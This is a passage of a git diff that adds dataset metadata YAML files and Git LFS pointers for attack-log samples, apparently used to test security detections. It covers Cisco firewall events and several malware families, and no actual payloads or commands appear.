sha256:bd19a68272fe08bc06ee8e7438784c93f707f94a19d6fdb11fd07cbb142c41ff +size 1188 diff --git a/datasets/cisco_secure_firewall_threat_defense/file_event/cisco_secure_firewall_threat_defense_file_event.yml b/datasets/cisco_secure_firewall_threat_defense/file_event/cisco_secure_firewall_threat_defense_file_event.yml new file mode 100644 index 000000000..e0e563f4c --- /dev/null +++ b/datasets/cisco_secure_firewall_threat_defense/file_event/cisco_secure_firewall_threat_defense_file_event.yml @@ -0,0 +1,13 @@ +author: STRT +id: 7770416a-12a3-46bd-aab6-0adce0da2ef5 +date: '2026-07-13' +description: Curated attack data generated for detection Cisco Secure Firewall - Binary + File Type Download +environment: attack_range +directory: file_event +mitre_technique: [] +datasets: +- name: file_events + path: /datasets/cisco_secure_firewall_threat_defense/file_event/file_events-7770416a-12a3-46bd-aab6-0adce0da2ef5.log + sourcetype: cisco:sfw:estreamer + source: not_applicable diff --git a/datasets/cisco_secure_firewall_threat_defense/file_event/file_events-7770416a-12a3-46bd-aab6-0adce0da2ef5.log b/datasets/cisco_secure_firewall_threat_defense/file_event/file_events-7770416a-12a3-46bd-aab6-0adce0da2ef5.log new file mode 100644 index 000000000..7da2e3bfe --- /dev/null +++ b/datasets/cisco_secure_firewall_threat_defense/file_event/file_events-7770416a-12a3-46bd-aab6-0adce0da2ef5.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:15463c9de7b205e0228cb830a6f2c1ea80cc3da1a24a71d85c3a165ebc8d0b9c +size 39276 diff --git a/datasets/cisco_secure_firewall_threat_defense/intrusion_event/cisco_secure_firewall_threat_defense_intrusion_event.yml b/datasets/cisco_secure_firewall_threat_defense/intrusion_event/cisco_secure_firewall_threat_defense_intrusion_event.yml new file mode 100644 index 000000000..e0c169c39 --- /dev/null +++ b/datasets/cisco_secure_firewall_threat_defense/intrusion_event/cisco_secure_firewall_threat_defense_intrusion_event.yml @@ -0,0 +1,13 @@ +author: STRT +id: ec13f29e-25a8-4203-8380-e474ca696d5a +date: '2026-07-13' +description: Curated attack data generated for detection Cisco Secure Firewall - Citrix + NetScaler Memory Overread Attempt +environment: attack_range +directory: intrusion_event +mitre_technique: [] +datasets: +- name: intrusion_events + path: /datasets/cisco_secure_firewall_threat_defense/intrusion_event/intrusion_events-ec13f29e-25a8-4203-8380-e474ca696d5a.log + sourcetype: cisco:sfw:estreamer + source: not_applicable diff --git a/datasets/cisco_secure_firewall_threat_defense/intrusion_event/intrusion_events-ec13f29e-25a8-4203-8380-e474ca696d5a.log b/datasets/cisco_secure_firewall_threat_defense/intrusion_event/intrusion_events-ec13f29e-25a8-4203-8380-e474ca696d5a.log new file mode 100644 index 000000000..8f70f8caa --- /dev/null +++ b/datasets/cisco_secure_firewall_threat_defense/intrusion_event/intrusion_events-ec13f29e-25a8-4203-8380-e474ca696d5a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:ad2423e36b83b057bdcbce2279e2cf6dc8aeb8a3bd57f5fe57d867b87eeb46ea +size 4754 diff --git a/datasets/cisco_secure_firewall_threat_defense/lumma_stealer/cisco_secure_firewall_threat_defense_lumma_stealer.yml b/datasets/cisco_secure_firewall_threat_defense/lumma_stealer/cisco_secure_firewall_threat_defense_lumma_stealer.yml new file mode 100644 index 000000000..f81485bba --- /dev/null +++ b/datasets/cisco_secure_firewall_threat_defense/lumma_stealer/cisco_secure_firewall_threat_defense_lumma_stealer.yml @@ -0,0 +1,13 @@ +author: STRT +id: be07a422-5fbf-4f03-9ea9-c643bb55e1e7 +date: '2026-07-13' +description: Curated attack data generated for detection Cisco Secure Firewall - Intrusion + Events by Threat Activity +environment: attack_range +directory: lumma_stealer +mitre_technique: [] +datasets: +- name: lumma_stealer_events + path: /datasets/cisco_secure_firewall_threat_defense/lumma_stealer/lumma_stealer_events-be07a422-5fbf-4f03-9ea9-c643bb55e1e7.log + sourcetype: cisco:sfw:estreamer + source: not_applicable diff --git a/datasets/cisco_secure_firewall_threat_defense/lumma_stealer/lumma_stealer_events-be07a422-5fbf-4f03-9ea9-c643bb55e1e7.log b/datasets/cisco_secure_firewall_threat_defense/lumma_stealer/lumma_stealer_events-be07a422-5fbf-4f03-9ea9-c643bb55e1e7.log new file mode 100644 index 000000000..8299884d2 --- /dev/null +++ b/datasets/cisco_secure_firewall_threat_defense/lumma_stealer/lumma_stealer_events-be07a422-5fbf-4f03-9ea9-c643bb55e1e7.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:faff5dca2a8850b780603c19ef6b9cac7b9a6055a33df45da0ee0e5b2c7be8d3 +size 4669 diff --git a/datasets/cisco_secure_firewall_threat_defense/oracle_e_business_suite/cisco_secure_firewall_threat_defense_oracle_e_business_suite.yml b/datasets/cisco_secure_firewall_threat_defense/oracle_e_business_suite/cisco_secure_firewall_threat_defense_oracle_e_business_suite.yml new file mode 100644 index 000000000..4329b7d55 --- /dev/null +++ b/datasets/cisco_secure_firewall_threat_defense/oracle_e_business_suite/cisco_secure_firewall_threat_defense_oracle_e_business_suite.yml @@ -0,0 +1,13 @@ +author: STRT +id: 189b9bef-cdff-4068-8fff-a71e5f7a83ce +date: '2026-07-13' +description: Curated attack data generated for detection Cisco Secure Firewall - Oracle + E-Business Suite Correlation +environment: attack_range +directory: oracle_e_business_suite +mitre_technique: [] +datasets: +- name: oracle_e_business_suite + path: /datasets/cisco_secure_firewall_threat_defense/oracle_e_business_suite/oracle_e_business_suite-189b9bef-cdff-4068-8fff-a71e5f7a83ce.log + sourcetype: cisco:sfw:estreamer + source: not_applicable diff --git a/datasets/cisco_secure_firewall_threat_defense/oracle_e_business_suite/oracle_e_business_suite-189b9bef-cdff-4068-8fff-a71e5f7a83ce.log b/datasets/cisco_secure_firewall_threat_defense/oracle_e_business_suite/oracle_e_business_suite-189b9bef-cdff-4068-8fff-a71e5f7a83ce.log new file mode 100644 index 000000000..2feae28c1 --- /dev/null +++ b/datasets/cisco_secure_firewall_threat_defense/oracle_e_business_suite/oracle_e_business_suite-189b9bef-cdff-4068-8fff-a71e5f7a83ce.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:22a8d4c475e20fa1eb611e6d462e25958036c72c77286f443f92bbd8d4634f1f +size 13524 diff --git a/datasets/cisco_secure_firewall_threat_defense/react2shell/cisco_secure_firewall_threat_defense_react2shell.yml b/datasets/cisco_secure_firewall_threat_defense/react2shell/cisco_secure_firewall_threat_defense_react2shell.yml new file mode 100644 index 000000000..4a209a702 --- /dev/null +++ b/datasets/cisco_secure_firewall_threat_defense/react2shell/cisco_secure_firewall_threat_defense_react2shell.yml @@ -0,0 +1,13 @@ +author: STRT +id: 04014e8c-ef81-4b6d-b786-60bde4bf4ace +date: '2026-07-13' +description: Curated attack data generated for detection Cisco Secure Firewall - React + Server Components RCE Attempt +environment: attack_range +directory: react2shell +mitre_technique: [] +datasets: +- name: react2shell + path: /datasets/cisco_secure_firewall_threat_defense/react2shell/react2shell-04014e8c-ef81-4b6d-b786-60bde4bf4ace.log + sourcetype: cisco:sfw:estreamer + source: not_applicable diff --git a/datasets/cisco_secure_firewall_threat_defense/react2shell/react2shell-04014e8c-ef81-4b6d-b786-60bde4bf4ace.log b/datasets/cisco_secure_firewall_threat_defense/react2shell/react2shell-04014e8c-ef81-4b6d-b786-60bde4bf4ace.log new file mode 100644 index 000000000..25c691cce --- /dev/null +++ b/datasets/cisco_secure_firewall_threat_defense/react2shell/react2shell-04014e8c-ef81-4b6d-b786-60bde4bf4ace.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:01c4370bbcd4261c457fc9d7a8ab907f836eb7918b4e841150c77456cee9806a +size 2331 diff --git a/datasets/cisco_secure_firewall_threat_defense/static_tundra/cisco_secure_firewall_threat_defense_static_tundra.yml b/datasets/cisco_secure_firewall_threat_defense/static_tundra/cisco_secure_firewall_threat_defense_static_tundra.yml new file mode 100644 index 000000000..c54471d4d --- /dev/null +++ b/datasets/cisco_secure_firewall_threat_defense/static_tundra/cisco_secure_firewall_threat_defense_static_tundra.yml @@ -0,0 +1,13 @@ +author: STRT +id: 18697067-44d7-4257-8144-df75329a4122 +date: '2026-07-13' +description: Curated attack data generated for detection Cisco Secure Firewall - Static + Tundra Smart Install Abuse +environment: attack_range +directory: static_tundra +mitre_technique: [] +datasets: +- name: static_tundra + path: /datasets/cisco_secure_firewall_threat_defense/static_tundra/static_tundra-18697067-44d7-4257-8144-df75329a4122.log + sourcetype: cisco:sfw:estreamer + source: not_applicable diff --git a/datasets/cisco_secure_firewall_threat_defense/static_tundra/static_tundra-18697067-44d7-4257-8144-df75329a4122.log b/datasets/cisco_secure_firewall_threat_defense/static_tundra/static_tundra-18697067-44d7-4257-8144-df75329a4122.log new file mode 100644 index 000000000..57840d559 --- /dev/null +++ b/datasets/cisco_secure_firewall_threat_defense/static_tundra/static_tundra-18697067-44d7-4257-8144-df75329a4122.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:14e2516f0fbaa71d9192066c985239e824fdf5baaad5d09c55d6bb0af7e268f7 +size 4767 diff --git a/datasets/emerging_threats/SaltTyphoon/emerging_threats_SaltTyphoon.yml b/datasets/emerging_threats/SaltTyphoon/emerging_threats_SaltTyphoon.yml new file mode 100644 index 000000000..797e832ad --- /dev/null +++ b/datasets/emerging_threats/SaltTyphoon/emerging_threats_SaltTyphoon.yml @@ -0,0 +1,13 @@ +author: STRT +id: 4d0f4c3c-e938-435c-98a1-a790e00d1ac4 +date: '2026-07-13' +description: Curated attack data generated for detection Cisco IOS XE Guestshell Activation + and Destroy +environment: attack_range +directory: SaltTyphoon +mitre_technique: [] +datasets: +- name: salttyphoon_cisco + path: /datasets/emerging_threats/SaltTyphoon/salttyphoon_cisco-4d0f4c3c-e938-435c-98a1-a790e00d1ac4.log + sourcetype: cisco:ios + source: ctb:catalyst:syslog diff --git a/datasets/emerging_threats/SaltTyphoon/salttyphoon_cisco-4d0f4c3c-e938-435c-98a1-a790e00d1ac4.log b/datasets/emerging_threats/SaltTyphoon/salttyphoon_cisco-4d0f4c3c-e938-435c-98a1-a790e00d1ac4.log new file mode 100644 index 000000000..f611d17ce --- /dev/null +++ b/datasets/emerging_threats/SaltTyphoon/salttyphoon_cisco-4d0f4c3c-e938-435c-98a1-a790e00d1ac4.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:86c4ef89df8406f64167f8bc7a9bc069ff317643fbb9cdfd9024fb4e908f4ac9 +size 127 diff --git a/datasets/emerging_threats/react2shell/emerging_threats_react2shell.yml b/datasets/emerging_threats/react2shell/emerging_threats_react2shell.yml new file mode 100644 index 000000000..c72c53814 --- /dev/null +++ b/datasets/emerging_threats/react2shell/emerging_threats_react2shell.yml @@ -0,0 +1,13 @@ +author: STRT +id: 3b559ad2-b232-4991-8c15-7b3c6aeea480 +date: '2026-07-10' +description: Curated attack data generated for detection Linux Suspicious React or + Next.js Child Process +environment: attack_range +directory: react2shell +mitre_technique: [] +datasets: +- name: react2shell_linux + path: /datasets/emerging_threats/react2shell/react2shell_linux-3b559ad2-b232-4991-8c15-7b3c6aeea480.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/emerging_threats/react2shell/react2shell_linux-3b559ad2-b232-4991-8c15-7b3c6aeea480.log b/datasets/emerging_threats/react2shell/react2shell_linux-3b559ad2-b232-4991-8c15-7b3c6aeea480.log new file mode 100644 index 000000000..60e1ee84c --- /dev/null +++ b/datasets/emerging_threats/react2shell/react2shell_linux-3b559ad2-b232-4991-8c15-7b3c6aeea480.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:52d7ad3faa5e13590da2c8872d9f9ac8d2b3fd645e4a1527fae083a3094f6d1b +size 1730 diff --git a/datasets/emerging_threats/windchill/emerging_threats_windchill.yml b/datasets/emerging_threats/windchill/emerging_threats_windchill.yml new file mode 100644 index 000000000..c07a95da8 --- /dev/null +++ b/datasets/emerging_threats/windchill/emerging_threats_windchill.yml @@ -0,0 +1,13 @@ +author: STRT +id: b9c01948-cd5f-48b1-9945-4b6d49413790 +date: '2026-07-13' +description: Curated attack data generated for detection PTC Windchill Gateway Command + Execution +environment: attack_range +directory: windchill +mitre_technique: [] +datasets: +- name: windchill_exploitation + path: /datasets/emerging_threats/windchill/windchill_exploitation-b9c01948-cd5f-48b1-9945-4b6d49413790.log + sourcetype: log4j + source: not_applicable diff --git a/datasets/emerging_threats/windchill/windchill_exploitation-b9c01948-cd5f-48b1-9945-4b6d49413790.log b/datasets/emerging_threats/windchill/windchill_exploitation-b9c01948-cd5f-48b1-9945-4b6d49413790.log new file mode 100644 index 000000000..4d30cccc9 --- /dev/null +++ b/datasets/emerging_threats/windchill/windchill_exploitation-b9c01948-cd5f-48b1-9945-4b6d49413790.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:c60ba647b3abf1aff8e2fc0cd361e2bc15587968bcca6cc0a71ccd2e024d7b26 +size 4464 diff --git a/datasets/honeypots/casper/datasets1/casper_datasets1.yml b/datasets/honeypots/casper/datasets1/casper_datasets1.yml new file mode 100644 index 000000000..e775d5bcd --- /dev/null +++ b/datasets/honeypots/casper/datasets1/casper_datasets1.yml @@ -0,0 +1,13 @@ +author: STRT +id: cf5c6b5f-4277-4e5a-ac18-2171eeb72cad +date: '2026-07-11' +description: Curated attack data generated for detection Allow Inbound Traffic By + Firewall Rule Registry +environment: attack_range +directory: datasets1 +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/honeypots/casper/datasets1/windows-sysmon-cf5c6b5f-4277-4e5a-ac18-2171eeb72cad.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/honeypots/casper/datasets1/windows-sysmon-cf5c6b5f-4277-4e5a-ac18-2171eeb72cad.log b/datasets/honeypots/casper/datasets1/windows-sysmon-cf5c6b5f-4277-4e5a-ac18-2171eeb72cad.log new file mode 100644 index 000000000..127796b2a --- /dev/null +++ b/datasets/honeypots/casper/datasets1/windows-sysmon-cf5c6b5f-4277-4e5a-ac18-2171eeb72cad.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:c681e854e9ca4fd68455458cf7476ba3472bb321d2e0f2db221124e68d3318bb +size 3904 diff --git a/datasets/honeypots/pwsh/honeypots_pwsh.yml b/datasets/honeypots/pwsh/honeypots_pwsh.yml new file mode 100644 index 000000000..b4e1e3eed --- /dev/null +++ b/datasets/honeypots/pwsh/honeypots_pwsh.yml @@ -0,0 +1,13 @@ +author: STRT +id: 28d53958-528f-43ea-a8ad-e9d323fd01c2 +date: '2026-07-10' +description: Curated attack data generated for detection Powershell Using memory As + Backing Store +environment: attack_range +directory: pwsh +mitre_technique: [] +datasets: +- name: windows-powershell-xml + path: /datasets/honeypots/pwsh/windows-powershell-xml-28d53958-528f-43ea-a8ad-e9d323fd01c2.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational diff --git a/datasets/honeypots/pwsh/windows-powershell-xml-28d53958-528f-43ea-a8ad-e9d323fd01c2.log b/datasets/honeypots/pwsh/windows-powershell-xml-28d53958-528f-43ea-a8ad-e9d323fd01c2.log new file mode 100644 index 000000000..e956d4eaf --- /dev/null +++ b/datasets/honeypots/pwsh/windows-powershell-xml-28d53958-528f-43ea-a8ad-e9d323fd01c2.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:e4152cb22f7cc59f4cb30a8f65b811634dfb2a7d14b3adb4800ce3ace6abc678 +size 19329 diff --git a/datasets/m365_copilot/datasets_m365_copilot.yml b/datasets/m365_copilot/datasets_m365_copilot.yml new file mode 100644 index 000000000..a2f544deb --- /dev/null +++ b/datasets/m365_copilot/datasets_m365_copilot.yml @@ -0,0 +1,13 @@ +author: STRT +id: 80410804-f681-4a7b-b4d7-6999b3cdac41 +date: '2026-07-13' +description: Curated attack data generated for detection M365 Copilot Application + Usage Pattern Anomalies +environment: attack_range +directory: m365_copilot +mitre_technique: [] +datasets: +- name: m365_copilot_access + path: /datasets/m365_copilot/m365_copilot_access-80410804-f681-4a7b-b4d7-6999b3cdac41.log + sourcetype: o365:graph:api + source: AuditLogs.SignIns diff --git a/datasets/m365_copilot/m365_copilot_access-80410804-f681-4a7b-b4d7-6999b3cdac41.log b/datasets/m365_copilot/m365_copilot_access-80410804-f681-4a7b-b4d7-6999b3cdac41.log new file mode 100644 index 000000000..9db5be8da --- /dev/null +++ b/datasets/m365_copilot/m365_copilot_access-80410804-f681-4a7b-b4d7-6999b3cdac41.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:ee548f0bc929bbe71f13fe0bcd0e42c137549200cf72302e5448a09aebcf5634 +size 26783 diff --git a/datasets/malware/acidrain/malware_acidrain.yml b/datasets/malware/acidrain/malware_acidrain.yml new file mode 100644 index 000000000..564145dfd --- /dev/null +++ b/datasets/malware/acidrain/malware_acidrain.yml @@ -0,0 +1,13 @@ +author: STRT +id: 7669488e-6fb9-44fa-8305-2f5eb8207b5c +date: '2026-07-10' +description: Curated attack data generated for detection Linux Account Manipulation + Of SSH Config and Keys +environment: attack_range +directory: acidrain +mitre_technique: [] +datasets: +- name: sysmon_linux + path: /datasets/malware/acidrain/sysmon_linux-7669488e-6fb9-44fa-8305-2f5eb8207b5c.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/malware/acidrain/sysmon_linux-7669488e-6fb9-44fa-8305-2f5eb8207b5c.log b/datasets/malware/acidrain/sysmon_linux-7669488e-6fb9-44fa-8305-2f5eb8207b5c.log new file mode 100644 index 000000000..fa067adf2 --- /dev/null +++ b/datasets/malware/acidrain/sysmon_linux-7669488e-6fb9-44fa-8305-2f5eb8207b5c.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:a0affb944f69afe2e343c920ad01015d7f186bd534ee6fd68b3609d36caa5165 +size 1363316 diff --git a/datasets/malware/agent_tesla/agent_tesla_ftp/agent_tesla_agent_tesla_ftp.yml b/datasets/malware/agent_tesla/agent_tesla_ftp/agent_tesla_agent_tesla_ftp.yml new file mode 100644 index 000000000..397a60e3f --- /dev/null +++ b/datasets/malware/agent_tesla/agent_tesla_ftp/agent_tesla_agent_tesla_ftp.yml @@ -0,0 +1,13 @@ +author: STRT +id: 35aa7c7e-4520-4f86-a248-f72f17070ea3 +date: '2026-07-11' +description: Curated attack data generated for detection Windows File Transfer Protocol + In Non-Common Process Path +environment: attack_range +directory: agent_tesla_ftp +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/malware/agent_tesla/agent_tesla_ftp/sysmon-35aa7c7e-4520-4f86-a248-f72f17070ea3.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/agent_tesla/agent_tesla_ftp/sysmon-35aa7c7e-4520-4f86-a248-f72f17070ea3.log b/datasets/malware/agent_tesla/agent_tesla_ftp/sysmon-35aa7c7e-4520-4f86-a248-f72f17070ea3.log new file mode 100644 index 000000000..731e30030 --- /dev/null +++ b/datasets/malware/agent_tesla/agent_tesla_ftp/sysmon-35aa7c7e-4520-4f86-a248-f72f17070ea3.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:60e7ffb6e79e1f04f4b39e2fb8715040182e2cf2f85f7154e5ad2e43420eda16 +size 1454 diff --git a/datasets/malware/agent_tesla/agent_tesla_smtp/agent_tesla_agent_tesla_smtp.yml b/datasets/malware/agent_tesla/agent_tesla_smtp/agent_tesla_agent_tesla_smtp.yml new file mode 100644 index 000000000..02ebbc3ab --- /dev/null +++ b/datasets/malware/agent_tesla/agent_tesla_smtp/agent_tesla_agent_tesla_smtp.yml @@ -0,0 +1,13 @@ +author: STRT +id: 6703698d-50ba-4bd6-b5a2-1dc90504fb0e +date: '2026-07-11' +description: Curated attack data generated for detection Windows Mail Protocol In + Non-Common Process Path +environment: attack_range +directory: agent_tesla_smtp +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/malware/agent_tesla/agent_tesla_smtp/sysmon-6703698d-50ba-4bd6-b5a2-1dc90504fb0e.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/agent_tesla/agent_tesla_smtp/sysmon-6703698d-50ba-4bd6-b5a2-1dc90504fb0e.log b/datasets/malware/agent_tesla/agent_tesla_smtp/sysmon-6703698d-50ba-4bd6-b5a2-1dc90504fb0e.log new file mode 100644 index 000000000..6727a0dfe --- /dev/null +++ b/datasets/malware/agent_tesla/agent_tesla_smtp/sysmon-6703698d-50ba-4bd6-b5a2-1dc90504fb0e.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:e47dc351e919eef332a65232bc05c592df8ef02bb6312db4477e7ae42a70552e +size 27990 diff --git a/datasets/malware/agent_tesla/agent_tesla_tor_dns_query/agent_tesla_agent_tesla_tor_dns_query.yml b/datasets/malware/agent_tesla/agent_tesla_tor_dns_query/agent_tesla_agent_tesla_tor_dns_query.yml new file mode 100644 index 000000000..ddb2b30b3 --- /dev/null +++ b/datasets/malware/agent_tesla/agent_tesla_tor_dns_query/agent_tesla_agent_tesla_tor_dns_query.yml @@ -0,0 +1,13 @@ +author: STRT +id: d23c448d-663a-4bce-8715-b9a8588ef9ab +date: '2026-07-13' +description: Curated attack data generated for detection Windows Multi hop Proxy TOR + Website Query +environment: attack_range +directory: agent_tesla_tor_dns_query +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/malware/agent_tesla/agent_tesla_tor_dns_query/sysmon-d23c448d-663a-4bce-8715-b9a8588ef9ab.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/agent_tesla/agent_tesla_tor_dns_query/sysmon-d23c448d-663a-4bce-8715-b9a8588ef9ab.log b/datasets/malware/agent_tesla/agent_tesla_tor_dns_query/sysmon-d23c448d-663a-4bce-8715-b9a8588ef9ab.log new file mode 100644 index 000000000..1d0e7babe --- /dev/null +++ b/datasets/malware/agent_tesla/agent_tesla_tor_dns_query/sysmon-d23c448d-663a-4bce-8715-b9a8588ef9ab.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:a85be390fabfc911404ccbfc88b35d7484902c9a5cea615ea51243268265df7a +size 3045 diff --git a/datasets/malware/amadey/access_permission/amadey_access_permission.yml b/datasets/malware/amadey/access_permission/amadey_access_permission.yml new file mode 100644 index 000000000..1cae040d1 --- /dev/null +++ b/datasets/malware/amadey/access_permission/amadey_access_permission.yml @@ -0,0 +1,13 @@ +author: STRT +id: b42a6342-8a73-4057-9bf7-8da4e04cd1e5 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Files and Dirs Access + Rights Modification Via Icacls +environment: attack_range +directory: access_permission +mitre_technique: [] +datasets: +- name: amadey_sysmon2 + path: /datasets/malware/amadey/access_permission/amadey_sysmon2-b42a6342-8a73-4057-9bf7-8da4e04cd1e5.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/amadey/access_permission/amadey_sysmon2-b42a6342-8a73-4057-9bf7-8da4e04cd1e5.log b/datasets/malware/amadey/access_permission/amadey_sysmon2-b42a6342-8a73-4057-9bf7-8da4e04cd1e5.log new file mode 100644 index 000000000..b586839b8 --- /dev/null +++ b/datasets/malware/amadey/access_permission/amadey_sysmon2-b42a6342-8a73-4057-9bf7-8da4e04cd1e5.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:53258b7ecf75ce175a450c3d81570eea6454c8d7c046d91ee50a1879cb92fc07 +size 44320 diff --git a/datasets/malware/awfulshred/test1/awfulshred_test1.yml b/datasets/malware/awfulshred/test1/awfulshred_test1.yml new file mode 100644 index 000000000..845457463 --- /dev/null +++ b/datasets/malware/awfulshred/test1/awfulshred_test1.yml @@ -0,0 +1,12 @@ +author: STRT +id: a91c25e3-0003-4eb8-bb49-96daad0ef664 +date: '2026-07-10' +description: Curated attack data generated for detection Linux Data Destruction Command +environment: attack_range +directory: test1 +mitre_technique: [] +datasets: +- name: sysmon_linux + path: /datasets/malware/awfulshred/test1/sysmon_linux-a91c25e3-0003-4eb8-bb49-96daad0ef664.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/malware/awfulshred/test1/sysmon_linux-a91c25e3-0003-4eb8-bb49-96daad0ef664.log b/datasets/malware/awfulshred/test1/sysmon_linux-a91c25e3-0003-4eb8-bb49-96daad0ef664.log new file mode 100644 index 000000000..a76f87e1e --- /dev/null +++ b/datasets/malware/awfulshred/test1/sysmon_linux-a91c25e3-0003-4eb8-bb49-96daad0ef664.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:7e671ddbd0399f1e006a0d7c30148e983b615c830092a412f8c6d02904fad744 +size 1517 diff --git a/datasets/malware/awfulshred/test2/awfulshred_test2.yml b/datasets/malware/awfulshred/test2/awfulshred_test2.yml new file mode 100644 index 000000000..fb62d1512 --- /dev/null +++ b/datasets/malware/awfulshred/test2/awfulshred_test2.yml @@ -0,0 +1,13 @@ +author: STRT +id: 260952df-b473-476c-8a94-cb1bf0c33200 +date: '2026-07-10' +description: Curated attack data generated for detection Linux System Reboot Via System + Request Key +environment: attack_range +directory: test2 +mitre_technique: [] +datasets: +- name: sysmon_linux + path: /datasets/malware/awfulshred/test2/sysmon_linux-260952df-b473-476c-8a94-cb1bf0c33200.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/malware/awfulshred/test2/sysmon_linux-260952df-b473-476c-8a94-cb1bf0c33200.log b/datasets/malware/awfulshred/test2/sysmon_linux-260952df-b473-476c-8a94-cb1bf0c33200.log new file mode 100644 index 000000000..cc0eb3f6a --- /dev/null +++ b/datasets/malware/awfulshred/test2/sysmon_linux-260952df-b473-476c-8a94-cb1bf0c33200.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:1bff0bf65d68e536e42381c7bed35b9a2b0f8a37ab3dee8646833705a0bf4f3d +size 3037 diff --git a/datasets/malware/awfulshred/test3/awfulshred_test3.yml b/datasets/malware/awfulshred/test3/awfulshred_test3.yml new file mode 100644 index 000000000..07f00bbd4 --- /dev/null +++ b/datasets/malware/awfulshred/test3/awfulshred_test3.yml @@ -0,0 +1,13 @@ +author: STRT +id: 870310f9-523e-46bd-997f-d8e7adba799e +date: '2026-07-10' +description: Curated attack data generated for detection Linux Indicator Removal Clear + Cache +environment: attack_range +directory: test3 +mitre_technique: [] +datasets: +- name: sysmon_linux + path: /datasets/malware/awfulshred/test3/sysmon_linux-870310f9-523e-46bd-997f-d8e7adba799e.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/malware/awfulshred/test3/sysmon_linux-870310f9-523e-46bd-997f-d8e7adba799e.log b/datasets/malware/awfulshred/test3/sysmon_linux-870310f9-523e-46bd-997f-d8e7adba799e.log new file mode 100644 index 000000000..d8664bb33 --- /dev/null +++ b/datasets/malware/awfulshred/test3/sysmon_linux-870310f9-523e-46bd-997f-d8e7adba799e.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:7a7ee27b6d6d2d5da8fec3c9556e34a33156f04b7159884b2b97ee488e5c5ad6 +size 3031 diff --git a/datasets/malware/azorult/malware_azorult.yml b/datasets/malware/azorult/malware_azorult.yml new file mode 100644 index 000000000..39d521bd6 --- /dev/null +++ b/datasets/malware/azorult/malware_azorult.yml @@ -0,0 +1,13 @@ +author: STRT +id: bfadc2ea-bd92-4a9c-8cb0-cc19e4e917a2 +date: '2026-07-13' +description: Curated attack data generated for detection Windows Application Layer + Protocol RMS Radmin Tool Namedpipe +environment: attack_range +directory: azorult +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/malware/azorult/sysmon-bfadc2ea-bd92-4a9c-8cb0-cc19e4e917a2.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/azorult/sysmon-bfadc2ea-bd92-4a9c-8cb0-cc19e4e917a2.log b/datasets/malware/azorult/sysmon-bfadc2ea-bd92-4a9c-8cb0-cc19e4e917a2.log new file mode 100644 index 000000000..959b363f5 --- /dev/null +++ b/datasets/malware/azorult/sysmon-bfadc2ea-bd92-4a9c-8cb0-cc19e4e917a2.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:dac7dea59c5cd33d2220abd88c041f772217b4e8990d42e96c30a1a736d7901c +size 2018 diff --git a/datasets/malware/brute_ratel/brute_duplicate_token/brute_ratel_brute_duplicate_token.yml b/datasets/malware/brute_ratel/brute_duplicate_token/brute_ratel_brute_duplicate_token.yml new file mode 100644 index 000000000..4447e5e0b --- /dev/null +++ 